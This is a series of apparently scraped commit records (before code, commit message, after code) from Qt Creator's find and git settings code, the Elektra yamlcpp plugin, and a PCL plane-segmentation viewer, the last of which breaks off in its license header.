delete m_currentDocumentFind;
delete m_findToolBar;
delete m_findDialog;
}
bool FindPlugin::initialize(const QStringList &, QString *)
{
setupMenu();
m_currentDocumentFind = new CurrentDocumentFind;
m_findToolBar = new FindToolBar(this, m_currentDocumentFind);
m_findDialog = new FindToolWindow(this);
SearchResultWindow *searchResultWindow = new SearchResultWindow;
addAutoReleasedObject(searchResultWindow);
return true;
}
void FindPlugin::extensionsInitialized()
{
setupFilterMenuItems();
readSettings();
}
void FindPlugin::shutdown()
{
m_findToolBar->setVisible(false);
m_findToolBar->setParent(0);
m_currentDocumentFind->removeConnections();
writeSettings();
}
void FindPlugin::filterChanged()
{
IFindFilter *changedFilter = qobject_cast<IFindFilter *>(sender());
QAction *action = m_filterActions.value(changedFilter);
QTC_ASSERT(changedFilter, return);
QTC_ASSERT(action, return);
action->setEnabled(changedFilter->isEnabled());
bool haveEnabledFilters = false;
foreach (IFindFilter *filter, m_filterActions.keys()) {
if (filter->isEnabled()) {
haveEnabledFilters = true;
break;
}
}
m_openFindDialog->setEnabled(haveEnabledFilters);
}
void FindPlugin::openFindFilter()
{
QAction *action = qobject_cast<QAction*>(sender());
QTC_ASSERT(action, return);
IFindFilter *filter = action->data().value<IFindFilter *>();
if (m_currentDocumentFind->candidateIsEnabled())
m_currentDocumentFind->acceptCandidate();
QString currentFindString = (m_currentDocumentFind->isEnabled() ? m_currentDocumentFind->currentFindString() : "");
if (!currentFindString.isEmpty())
m_findDialog->setFindText(currentFindString);
m_findDialog->open(filter);
}
void FindPlugin::setupMenu()
{
Core::ActionManager *am = Core::ICore::instance()->actionManager();
Core::ActionContainer *medit = am->actionContainer(Core::Constants::M_EDIT);
Core::ActionContainer *mfind = am->createMenu(Constants::M_FIND);
medit->addMenu(mfind, Core::Constants::G_EDIT_FIND);
mfind->menu()->setTitle(tr("&Find/Replace"));
mfind->appendGroup(Constants::G_FIND_CURRENTDOCUMENT);
mfind->appendGroup(Constants::G_FIND_FILTERS);
mfind->appendGroup(Constants::G_FIND_FLAGS);
mfind->appendGroup(Constants::G_FIND_ACTIONS);
QList<int> globalcontext = QList<int>() << Core::Constants::C_GLOBAL_ID;
Core::Command *cmd;
QAction *separator;
separator = new QAction(this);
separator->setSeparator(true);
cmd = am->registerAction(separator, QLatin1String("Find.Sep.Flags"), globalcontext);
mfind->addAction(cmd, Constants::G_FIND_FLAGS);
separator = new QAction(this);
separator->setSeparator(true);
cmd = am->registerAction(separator, QLatin1String("Find.Sep.Actions"), globalcontext);
mfind->addAction(cmd, Constants::G_FIND_ACTIONS);
m_openFindDialog = new QAction(tr("Find..."), this);
cmd = am->registerAction(m_openFindDialog, QLatin1String("Find.Dialog"), globalcontext);
cmd->setDefaultKeySequence(QKeySequence(tr("Ctrl+Shift+F")));
mfind->addAction(cmd, Constants::G_FIND_FILTERS);
connect(m_openFindDialog, SIGNAL(triggered()), this, SLOT(openFindFilter()));
}
void FindPlugin::setupFilterMenuItems()
{
Core::ActionManager *am = Core::ICore::instance()->actionManager();
QList<IFindFilter*> findInterfaces =
ExtensionSystem::PluginManager::instance()->getObjects<IFindFilter>();
Core::Command *cmd;
QList<int> globalcontext = QList<int>() << Core::Constants::C_GLOBAL_ID;
Core::ActionContainer *mfind = am->actionContainer(Constants::M_FIND);
m_filterActions.clear();
bool haveEnabledFilters = false;
foreach (IFindFilter *filter, findInterfaces) {
QAction *action = new QAction(QString(" %1").arg(filter->name()), this);
bool isEnabled = filter->isEnabled();
if (isEnabled)
haveEnabledFilters = true;
action->setEnabled(isEnabled);
action->setData(qVariantFromValue(filter));
cmd = am->registerAction(action, QLatin1String("FindFilter.")+filter->name(), globalcontext);
cmd->setDefaultKeySequence(filter->defaultShortcut());
mfind->addAction(cmd, Constants::G_FIND_FILTERS);
m_filterActions.insert(filter, action);
connect(action, SIGNAL(triggered(bool)), this, SLOT(openFindFilter()));
connect(filter, SIGNAL(changed()), this, SLOT(filterChanged()));
}
m_findDialog->setFindFilters(findInterfaces);
m_openFindDialog->setEnabled(haveEnabledFilters);
}
QTextDocument::FindFlags FindPlugin::findFlags() const
{
return m_findFlags;
}
void FindPlugin::setCaseSensitive(bool sensitive)
{
setFindFlag(QTextDocument::FindCaseSensitively, sensitive);
}
void FindPlugin::setWholeWord(bool wholeOnly)
{
setFindFlag(QTextDocument::FindWholeWords, wholeOnly);
}
void FindPlugin::setBackward(bool backward)
{
setFindFlag(QTextDocument::FindBackward, backward);
}
void FindPlugin::setFindFlag(QTextDocument::FindFlag flag, bool enabled)
{
bool hasFlag = hasFindFlag(flag);
if ((hasFlag && enabled) || (!hasFlag && !enabled))
return;
if (enabled)
m_findFlags |= flag;
else
m_findFlags &= ~flag;
if (flag != QTextDocument::FindBackward)
emit findFlagsChanged();
}
bool FindPlugin::hasFindFlag(QTextDocument::FindFlag flag)
{
return m_findFlags & flag;
}
void FindPlugin::writeSettings()
{
QSettings *settings = Core::ICore::instance()->settings();
settings->beginGroup("Find");
settings->setValue("Backward", QVariant((m_findFlags & QTextDocument::FindBackward) != 0));
settings->setValue("CaseSensitively", QVariant((m_findFlags & QTextDocument::FindCaseSensitively) != 0));
settings->setValue("WholeWords", QVariant((m_findFlags & QTextDocument::FindWholeWords) != 0));
settings->setValue("FindStrings", m_findCompletions);
settings->setValue("ReplaceStrings", m_replaceCompletions);
settings->endGroup();
m_findToolBar->writeSettings();
m_findDialog->writeSettings();
}
void FindPlugin::readSettings()
{
QSettings *settings = Core::ICore::instance()->settings();
settings->beginGroup("Find");
bool block = blockSignals(true);
setBackward(settings->value("Backward", false).toBool());
setCaseSensitive(settings->value("CaseSensitively", false).toBool());
setWholeWord(settings->value("WholeWords", false).toBool());
blockSignals(block);
m_findCompletions = settings->value("FindStrings").toStringList();
m_replaceCompletions = settings->value("ReplaceStrings").toStringList();
m_findCompletionModel->setStringList(m_findCompletions);
m_replaceCompletionModel->setStringList(m_replaceCompletions);
settings->endGroup();
m_findToolBar->readSettings();
m_findDialog->readSettings();
emit findFlagsChanged(); // would have been done in the setXXX methods above
}
void FindPlugin::updateFindCompletion(const QString &text)
{
updateCompletion(text, m_findCompletions, m_findCompletionModel);
}
void FindPlugin::updateReplaceCompletion(const QString &text)
{
updateCompletion(text, m_replaceCompletions, m_replaceCompletionModel);
}
void FindPlugin::updateCompletion(const QString &text, QStringList &completions, QStringListModel *model)
{
if (text.isEmpty())
return;
completions.removeAll(text);
completions.prepend(text);
while (completions.size() > MAX_COMPLETIONS)
completions.removeLast();
model->setStringList(completions);
}
Q_EXPORT_PLUGIN(FindPlugin)
<|endoftext|>
|
<commit_before>/**************************************************************************
**
** This file is part of Qt Creator
**
** Copyright (c) 2011 Nokia Corporation and/or its subsidiary(-ies).
**
** Contact: Nokia Corporation (info@qt.nokia.com)
**
**
** GNU Lesser General Public License Usage
**
** This file may be used under the terms of the GNU Lesser General Public
** License version 2.1 as published by the Free Software Foundation and
** appearing in the file LICENSE.LGPL included in the packaging of this file.
** Please review the following information to ensure the GNU Lesser General
** Public License version 2.1 requirements will be met:
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** Other Usage
**
** Alternatively, this file may be used in accordance with the terms and
** conditions contained in a signed written agreement between you and Nokia.
**
** If you have questions regarding the use of this file, please contact
** Nokia at info@qt.nokia.com.
**
**************************************************************************/
#include "gitsettings.h"
#include <utils/synchronousprocess.h>
#include <QtCore/QCoreApplication>
namespace Git {
namespace Internal {
const QLatin1String GitSettings::adoptPathKey("SysEnv");
const QLatin1String GitSettings::pathKey("Path");
const QLatin1String GitSettings::pullRebaseKey("PullRebase");
const QLatin1String GitSettings::omitAnnotationDateKey("OmitAnnotationDate");
const QLatin1String GitSettings::ignoreSpaceChangesInDiffKey("SpaceIgnorantDiff");
const QLatin1String GitSettings::ignoreSpaceChangesInBlameKey("SpaceIgnorantBlame");
const QLatin1String GitSettings::diffPatienceKey("DiffPatience");
const QLatin1String GitSettings::winSetHomeEnvironmentKey("WinSetHomeEnvironment");
const QLatin1String GitSettings::showPrettyFormatKey("DiffPrettyFormat");
const QLatin1String GitSettings::gitkOptionsKey("GitKOptions");
GitSettings::GitSettings()
{
setSettingsGroup(QLatin1String("Git"));
#ifdef Q_OS_WIN
declareKey(binaryPathKey, QLatin1String("git.exe"));
declareKey(timeoutKey, 60);
#else
declareKey(binaryPathKey, QLatin1String("git"));
declareKey(timeoutKey, 30);
#endif
declareKey(adoptPathKey, false);
declareKey(pathKey, QString());
declareKey(pullRebaseKey, false);
declareKey(omitAnnotationDateKey, false);
declareKey(ignoreSpaceChangesInDiffKey, true);
declareKey(ignoreSpaceChangesInBlameKey, true);
declareKey(diffPatienceKey, true);
declareKey(winSetHomeEnvironmentKey, false);
declareKey(gitkOptionsKey, QString());
declareKey(showPrettyFormatKey, 5);
}
QString GitSettings::gitBinaryPath(bool *ok, QString *errorMessage) const
{
// Locate binary in path if one is specified, otherwise default
// to pathless binary
if (ok)
*ok = true;
if (errorMessage)
errorMessage->clear();
if (m_binaryPath.isEmpty()) {
const QString binary = stringValue(binaryPathKey);
QString currentPath = stringValue(pathKey);
// Easy, git is assumed to be elsewhere accessible
if (!boolValue(adoptPathKey))
currentPath = QString::fromLocal8Bit(qgetenv("PATH"));
// Search in path?
m_binaryPath = Utils::SynchronousProcess::locateBinary(currentPath, binary);
if (m_binaryPath.isEmpty()) {
if (ok)
*ok = false;
if (errorMessage)
*errorMessage = QCoreApplication::translate("Git::Internal::GitSettings",
"The binary '%1' could not be located in the path '%2'")
.arg(binary, currentPath);
}
}
return m_binaryPath;
}
GitSettings &GitSettings::operator = (const GitSettings &s)
{
VCSBaseClientSettings::operator =(s);
m_binaryPath.clear();
return *this;
}
} // namespace Internal
} // namespace Git
<commit_msg>Git: Fix git.cmd not found on windows<commit_after>/**************************************************************************
**
** This file is part of Qt Creator
**
** Copyright (c) 2011 Nokia Corporation and/or its subsidiary(-ies).
**
** Contact: Nokia Corporation (info@qt.nokia.com)
**
**
** GNU Lesser General Public License Usage
**
** This file may be used under the terms of the GNU Lesser General Public
** License version 2.1 as published by the Free Software Foundation and
** appearing in the file LICENSE.LGPL included in the packaging of this file.
** Please review the following information to ensure the GNU Lesser General
** Public License version 2.1 requirements will be met:
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** Other Usage
**
** Alternatively, this file may be used in accordance with the terms and
** conditions contained in a signed written agreement between you and Nokia.
**
** If you have questions regarding the use of this file, please contact
** Nokia at info@qt.nokia.com.
**
**************************************************************************/
#include "gitsettings.h"
#include <utils/synchronousprocess.h>
#include <QtCore/QCoreApplication>
namespace Git {
namespace Internal {
const QLatin1String GitSettings::adoptPathKey("SysEnv");
const QLatin1String GitSettings::pathKey("Path");
const QLatin1String GitSettings::pullRebaseKey("PullRebase");
const QLatin1String GitSettings::omitAnnotationDateKey("OmitAnnotationDate");
const QLatin1String GitSettings::ignoreSpaceChangesInDiffKey("SpaceIgnorantDiff");
const QLatin1String GitSettings::ignoreSpaceChangesInBlameKey("SpaceIgnorantBlame");
const QLatin1String GitSettings::diffPatienceKey("DiffPatience");
const QLatin1String GitSettings::winSetHomeEnvironmentKey("WinSetHomeEnvironment");
const QLatin1String GitSettings::showPrettyFormatKey("DiffPrettyFormat");
const QLatin1String GitSettings::gitkOptionsKey("GitKOptions");
GitSettings::GitSettings()
{
setSettingsGroup(QLatin1String("Git"));
declareKey(binaryPathKey, QLatin1String("git"));
#ifdef Q_OS_WIN
declareKey(timeoutKey, 60);
#else
declareKey(timeoutKey, 30);
#endif
declareKey(adoptPathKey, false);
declareKey(pathKey, QString());
declareKey(pullRebaseKey, false);
declareKey(omitAnnotationDateKey, false);
declareKey(ignoreSpaceChangesInDiffKey, true);
declareKey(ignoreSpaceChangesInBlameKey, true);
declareKey(diffPatienceKey, true);
declareKey(winSetHomeEnvironmentKey, false);
declareKey(gitkOptionsKey, QString());
declareKey(showPrettyFormatKey, 5);
}
QString GitSettings::gitBinaryPath(bool *ok, QString *errorMessage) const
{
// Locate binary in path if one is specified, otherwise default
// to pathless binary
if (ok)
*ok = true;
if (errorMessage)
errorMessage->clear();
if (m_binaryPath.isEmpty()) {
const QString binary = stringValue(binaryPathKey);
QString currentPath = stringValue(pathKey);
// Easy, git is assumed to be elsewhere accessible
if (!boolValue(adoptPathKey))
currentPath = QString::fromLocal8Bit(qgetenv("PATH"));
// Search in path?
m_binaryPath = Utils::SynchronousProcess::locateBinary(currentPath, binary);
if (m_binaryPath.isEmpty()) {
if (ok)
*ok = false;
if (errorMessage)
*errorMessage = QCoreApplication::translate("Git::Internal::GitSettings",
"The binary '%1' could not be located in the path '%2'")
.arg(binary, currentPath);
}
}
return m_binaryPath;
}
GitSettings &GitSettings::operator = (const GitSettings &s)
{
VCSBaseClientSettings::operator =(s);
m_binaryPath.clear();
return *this;
}
} // namespace Internal
} // namespace Git
<|endoftext|>
|
<commit_before>/**
* @file
*
* @brief Source for yamlcpp plugin
*
* @copyright BSD License (see LICENSE.md or https://www.libelektra.org)
*
*/
// -- Imports ------------------------------------------------------------------------------------------------------------------------------
#include "yamlcpp.hpp"
#include "read.hpp"
#include "write.hpp"
using namespace yamlcpp;
#include <kdb.hpp>
using namespace ckdb;
#include <kdberrors.h>
#include <kdblogger.h>
#include "yaml-cpp/yaml.h"
// -- Functions ----------------------------------------------------------------------------------------------------------------------------
/**
* @brief This function returns a key set containing the contract of this plugin.
*
* @return A contract describing the functionality of this plugin.
*/
static KeySet * contractYamlCpp (void)
{
return ksNew (30, keyNew ("system/elektra/modules/yamlcpp", KEY_VALUE, "yamlcpp plugin waits for your orders", KEY_END),
keyNew ("system/elektra/modules/yamlcpp/exports", KEY_END),
keyNew ("system/elektra/modules/yamlcpp/exports/get", KEY_FUNC, elektraYamlcppGet, KEY_END),
keyNew ("system/elektra/modules/yamlcpp/exports/set", KEY_FUNC, elektraYamlcppSet, KEY_END),
#include ELEKTRA_README (yamlcpp)
keyNew ("system/elektra/modules/yamlcpp/infos/version", KEY_VALUE, PLUGINVERSION, KEY_END),
keyNew ("system/elektra/modules/yamlcpp/config/needs", KEY_END),
keyNew ("system/elektra/modules/yamlcpp/config/needs/binary/meta", KEY_VALUE, "true", KEY_END), KS_END);
}
// ====================
// = Plugin Interface =
// ====================
/** @see elektraDocGet */
int elektraYamlcppGet (Plugin * handle ELEKTRA_UNUSED, KeySet * returned, Key * parentKey)
{
if (std::string (keyName (parentKey)) == "system/elektra/modules/yamlcpp")
{
KeySet * contract = contractYamlCpp ();
ksAppend (returned, contract);
ksDel (contract);
return ELEKTRA_PLUGIN_STATUS_SUCCESS;
}
kdb::Key parent = kdb::Key (parentKey);
kdb::KeySet keys = kdb::KeySet (returned);
ELEKTRA_LOG_DEBUG ("Read file “%s”", parent.getString ().c_str ());
int status = ELEKTRA_PLUGIN_STATUS_ERROR;
try
{
yamlRead (keys, parent);
status = ELEKTRA_PLUGIN_STATUS_SUCCESS;
}
catch (YAML::ParserException const & exception)
{
ELEKTRA_SET_ERRORF (ELEKTRA_ERROR_PARSE, parent.getKey (), "Unable to parse file “%s”: %s.", parent.getString ().c_str (),
exception.what ());
}
catch (YAML::RepresentationException const & exception)
{
ELEKTRA_SET_ERRORF (ELEKTRA_ERROR_YAMLCPP_REPRESENTATION, parent.getKey (), "Unable to read data from file “%s”: %s",
parent.getString ().c_str (), exception.what ());
}
parent.release ();
keys.release ();
return status;
}
/** @see elektraDocSet */
int elektraYamlcppSet (Plugin * handle ELEKTRA_UNUSED, KeySet * returned, Key * parentKey)
{
kdb::Key parent = kdb::Key (parentKey);
kdb::KeySet keys = kdb::KeySet (returned);
int status = ELEKTRA_PLUGIN_STATUS_ERROR;
try
{
yamlWrite (keys, parent);
status = ELEKTRA_PLUGIN_STATUS_SUCCESS;
}
catch (YAML::BadFile const & exception)
{
ELEKTRA_SET_ERRORF (ELEKTRA_ERROR_YAMLCPP_WRITE_FAILED, parent.getKey (), "Unable to write to file “%s”: %s.",
parent.getString ().c_str (), exception.what ());
}
catch (YAML::EmitterException const & exception)
{
ELEKTRA_SET_ERRORF (ELEKTRA_ERROR_YAMLCPP_EMITTER_FAILED, parent.getKey (),
"Something went wrong while emitting YAML data to file “%s”: %s.", parent.getString ().c_str (),
exception.what ());
}
parent.release ();
keys.release ();
return status;
}
Plugin * ELEKTRA_PLUGIN_EXPORT (yamlcpp)
{
return elektraPluginExport ("yamlcpp", ELEKTRA_PLUGIN_GET, &elektraYamlcppGet, ELEKTRA_PLUGIN_SET, &elektraYamlcppSet,
ELEKTRA_PLUGIN_END);
}
<commit_msg>YAML CPP: Remove unnecessary config value<commit_after>/**
* @file
*
* @brief Source for yamlcpp plugin
*
* @copyright BSD License (see LICENSE.md or https://www.libelektra.org)
*
*/
// -- Imports ------------------------------------------------------------------------------------------------------------------------------
#include "yamlcpp.hpp"
#include "read.hpp"
#include "write.hpp"
using namespace yamlcpp;
#include <kdb.hpp>
using namespace ckdb;
#include <kdberrors.h>
#include <kdblogger.h>
#include "yaml-cpp/yaml.h"
// -- Functions ----------------------------------------------------------------------------------------------------------------------------
/**
* @brief This function returns a key set containing the contract of this plugin.
*
* @return A contract describing the functionality of this plugin.
*/
static KeySet * contractYamlCpp (void)
{
return ksNew (30, keyNew ("system/elektra/modules/yamlcpp", KEY_VALUE, "yamlcpp plugin waits for your orders", KEY_END),
keyNew ("system/elektra/modules/yamlcpp/exports", KEY_END),
keyNew ("system/elektra/modules/yamlcpp/exports/get", KEY_FUNC, elektraYamlcppGet, KEY_END),
keyNew ("system/elektra/modules/yamlcpp/exports/set", KEY_FUNC, elektraYamlcppSet, KEY_END),
#include ELEKTRA_README (yamlcpp)
keyNew ("system/elektra/modules/yamlcpp/infos/version", KEY_VALUE, PLUGINVERSION, KEY_END),
keyNew ("system/elektra/modules/yamlcpp/config/needs/binary/meta", KEY_VALUE, "true", KEY_END), KS_END);
}
// ====================
// = Plugin Interface =
// ====================
/** @see elektraDocGet */
int elektraYamlcppGet (Plugin * handle ELEKTRA_UNUSED, KeySet * returned, Key * parentKey)
{
if (std::string (keyName (parentKey)) == "system/elektra/modules/yamlcpp")
{
KeySet * contract = contractYamlCpp ();
ksAppend (returned, contract);
ksDel (contract);
return ELEKTRA_PLUGIN_STATUS_SUCCESS;
}
kdb::Key parent = kdb::Key (parentKey);
kdb::KeySet keys = kdb::KeySet (returned);
ELEKTRA_LOG_DEBUG ("Read file “%s”", parent.getString ().c_str ());
int status = ELEKTRA_PLUGIN_STATUS_ERROR;
try
{
yamlRead (keys, parent);
status = ELEKTRA_PLUGIN_STATUS_SUCCESS;
}
catch (YAML::ParserException const & exception)
{
ELEKTRA_SET_ERRORF (ELEKTRA_ERROR_PARSE, parent.getKey (), "Unable to parse file “%s”: %s.", parent.getString ().c_str (),
exception.what ());
}
catch (YAML::RepresentationException const & exception)
{
ELEKTRA_SET_ERRORF (ELEKTRA_ERROR_YAMLCPP_REPRESENTATION, parent.getKey (), "Unable to read data from file “%s”: %s",
parent.getString ().c_str (), exception.what ());
}
parent.release ();
keys.release ();
return status;
}
/** @see elektraDocSet */
int elektraYamlcppSet (Plugin * handle ELEKTRA_UNUSED, KeySet * returned, Key * parentKey)
{
kdb::Key parent = kdb::Key (parentKey);
kdb::KeySet keys = kdb::KeySet (returned);
int status = ELEKTRA_PLUGIN_STATUS_ERROR;
try
{
yamlWrite (keys, parent);
status = ELEKTRA_PLUGIN_STATUS_SUCCESS;
}
catch (YAML::BadFile const & exception)
{
ELEKTRA_SET_ERRORF (ELEKTRA_ERROR_YAMLCPP_WRITE_FAILED, parent.getKey (), "Unable to write to file “%s”: %s.",
parent.getString ().c_str (), exception.what ());
}
catch (YAML::EmitterException const & exception)
{
ELEKTRA_SET_ERRORF (ELEKTRA_ERROR_YAMLCPP_EMITTER_FAILED, parent.getKey (),
"Something went wrong while emitting YAML data to file “%s”: %s.", parent.getString ().c_str (),
exception.what ());
}
parent.release ();
keys.release ();
return status;
}
Plugin * ELEKTRA_PLUGIN_EXPORT (yamlcpp)
{
return elektraPluginExport ("yamlcpp", ELEKTRA_PLUGIN_GET, &elektraYamlcppGet, ELEKTRA_PLUGIN_SET, &elektraYamlcppSet,
ELEKTRA_PLUGIN_END);
}
<|endoftext|>
|
<commit_before>/*
* Software License Agreement (BSD License)
*
* Copyright (c) 2012, Willow Garage, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of Willow Garage, Inc. nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <pcl/io/io.h>
#include <pcl/io/pcd_io.h>
#include <pcl/visualization/pcl_visualizer.h>
#include <pcl/common/time.h>
#include <pcl/features/integral_image_normal.h>
#include <pcl/features/normal_3d.h>
#include <pcl/ModelCoefficients.h>
#include <pcl/segmentation/planar_region.h>
#include <pcl/segmentation/organized_multi_plane_segmentation.h>
#include <pcl/segmentation/organized_connected_component_segmentation.h>
#include <pcl/filters/extract_indices.h>
#include <pcl/console/parse.h>
#include <pcl/geometry/polygon_operations.h>
template<typename PointT>
class PCDOrganizedMultiPlaneSegmentation
{
private:
pcl::visualization::PCLVisualizer viewer;
typename pcl::PointCloud<PointT>::ConstPtr cloud;
bool refine_;
float threshold_;
bool depth_dependent_;
bool polygon_refinement_;
public:
PCDOrganizedMultiPlaneSegmentation (typename pcl::PointCloud<PointT>::ConstPtr cloud_, bool refine)
: viewer ("Viewer")
, cloud (cloud_)
, refine_ (refine)
, threshold_ (0.02f)
, depth_dependent_ (true)
, polygon_refinement_ (false)
{
viewer.setBackgroundColor (0, 0, 0);
//viewer.setPointCloudRenderingProperties (pcl::visualization::PCL_VISUALIZER_POINT_SIZE, 3, "cloud");
//viewer.setPointCloudRenderingProperties (pcl::visualization::PCL_VISUALIZER_OPACITY, 0.15, "cloud");
viewer.addCoordinateSystem (1.0);
viewer.initCameraParameters ();
viewer.registerKeyboardCallback(&PCDOrganizedMultiPlaneSegmentation::keyboard_callback, *this, 0);
}
void keyboard_callback (const pcl::visualization::KeyboardEvent& event, void*)
{
// do stuff and visualize here
if (event.keyUp ())
{
switch (event.getKeyCode ())
{
case 'b':
case 'B':
if (threshold_ < 0.1f)
threshold_ += 0.001f;
break;
case 'v':
case 'V':
if (threshold_ > 0.001f)
threshold_ -= 0.001f;
break;
case 'n':
case 'N':
depth_dependent_ = !depth_dependent_;
break;
case 'm':
case 'M':
polygon_refinement_ = !polygon_refinement_;
break;
}
process ();
}
}
void
process ()
{
std::cout << "threshold: " << threshold_ << std::endl;
std::cout << "depth dependent: " << (depth_dependent_ ? "true\n" : "false\n");
unsigned char red [6] = {255, 0, 0, 255, 255, 0};
unsigned char grn [6] = { 0, 255, 0, 255, 0, 255};
unsigned char blu [6] = { 0, 0, 255, 0, 255, 255};
pcl::IntegralImageNormalEstimation<PointT, pcl::Normal> ne;
ne.setNormalEstimationMethod (ne.COVARIANCE_MATRIX);
ne.setMaxDepthChangeFactor (0.02f);
ne.setNormalSmoothingSize (20.0f);
typename pcl::PlaneRefinementComparator<PointT, pcl::Normal, pcl::Label>::Ptr refinement_compare (new pcl::PlaneRefinementComparator<PointT, pcl::Normal, pcl::Label> ());
refinement_compare->setDistanceThreshold (threshold_, depth_dependent_);
pcl::OrganizedMultiPlaneSegmentation<PointT, pcl::Normal, pcl::Label> mps;
mps.setMinInliers (5000);
mps.setAngularThreshold (0.017453 * 3.0); //3 degrees
mps.setDistanceThreshold (0.03); //2cm
mps.setRefinementComparator (refinement_compare);
std::vector<pcl::PlanarRegion<PointT>, Eigen::aligned_allocator<pcl::PlanarRegion<PointT> > > regions;
typename pcl::PointCloud<PointT>::Ptr contour (new pcl::PointCloud<PointT>);
typename pcl::PointCloud<PointT>::Ptr approx_contour (new pcl::PointCloud<PointT>);
char name[1024];
typename pcl::PointCloud<pcl::Normal>::Ptr normal_cloud (new pcl::PointCloud<pcl::Normal>);
double normal_start = pcl::getTime ();
ne.setInputCloud (cloud);
ne.compute (*normal_cloud);
double normal_end = pcl::getTime ();
std::cout << "Normal Estimation took " << double (normal_end - normal_start) << std::endl;
double plane_extract_start = pcl::getTime ();
mps.setInputNormals (normal_cloud);
mps.setInputCloud (cloud);
if (refine_)
mps.segmentAndRefine (regions);
else
mps.segment (regions);
double plane_extract_end = pcl::getTime ();
std::cout << "Plane extraction took " << double (plane_extract_end - plane_extract_start) << " with planar regions found: " << regions.size () << std::endl;
std::cout << "Frame took " << double (plane_extract_end - normal_start) << std::endl;
typename pcl::PointCloud<PointT>::Ptr cluster (new pcl::PointCloud<PointT>);
viewer.removeAllPointClouds (0);
viewer.removeAllShapes (0);
pcl::visualization::PointCloudColorHandlerCustom<PointT> single_color (cloud, 0, 255, 0);
viewer.addPointCloud<PointT> (cloud, single_color, "cloud");
pcl::PlanarPolygon<PointT> approx_polygon;
//Draw Visualization
for (size_t i = 0; i < regions.size (); i++)
{
Eigen::Vector3f centroid = regions[i].getCentroid ();
Eigen::Vector4f model = regions[i].getCoefficients ();
pcl::PointXYZ pt1 = pcl::PointXYZ (centroid[0], centroid[1], centroid[2]);
pcl::PointXYZ pt2 = pcl::PointXYZ (centroid[0] + (0.5f * model[0]),
centroid[1] + (0.5f * model[1]),
centroid[2] + (0.5f * model[2]));
sprintf (name, "normal_%d", unsigned (i));
viewer.addArrow (pt2, pt1, 1.0, 0, 0, std::string (name));
contour->points = regions[i].getContour ();
sprintf (name, "plane_%02d", int (i));
pcl::visualization::PointCloudColorHandlerCustom <PointT> color (contour, red[i], grn[i], blu[i]);
viewer.addPointCloud (contour, color, name);
pcl::approximatePolygon (regions[i], approx_polygon, threshold_, polygon_refinement_);
approx_contour->points = approx_polygon.getContour ();
std::cout << "polygon: " << contour->size () << " -> " << approx_contour->size () << std::endl;
typename pcl::PointCloud<PointT>::ConstPtr approx_contour_const = approx_contour;
// sprintf (name, "approx_plane_%02d", int (i));
// viewer.addPolygon<PointT> (approx_contour_const, 0.5 * red[i], 0.5 * grn[i], 0.5 * blu[i], name);
for (unsigned idx = 0; idx < approx_contour->points.size (); ++idx)
{
sprintf (name, "approx_plane_%02d_%03d", int (i), int(idx));
viewer.addLine (approx_contour->points [idx], approx_contour->points [(idx+1)%approx_contour->points.size ()], 0.5 * red[i], 0.5 * grn[i], 0.5 * blu[i], name);
}
}
}
void
run ()
{
// initial processing
process ();
while (!viewer.wasStopped ())
viewer.spinOnce (100);
}
};
int
main (int argc, char** argv)
{
bool refine = pcl::console::find_switch (argc, argv, "-refine");
pcl::PointCloud<pcl::PointXYZ>::Ptr cloud_xyz (new pcl::PointCloud<pcl::PointXYZ>);
pcl::io::loadPCDFile (argv[1], *cloud_xyz);
PCDOrganizedMultiPlaneSegmentation<pcl::PointXYZ> multi_plane_app (cloud_xyz, refine);
multi_plane_app.run ();
return 0;
}
<commit_msg>minor<commit_after>/*
* Software License Agreement (BSD License)
*
* Copyright (c) 2012, Willow Garage, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of Willow Garage, Inc. nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
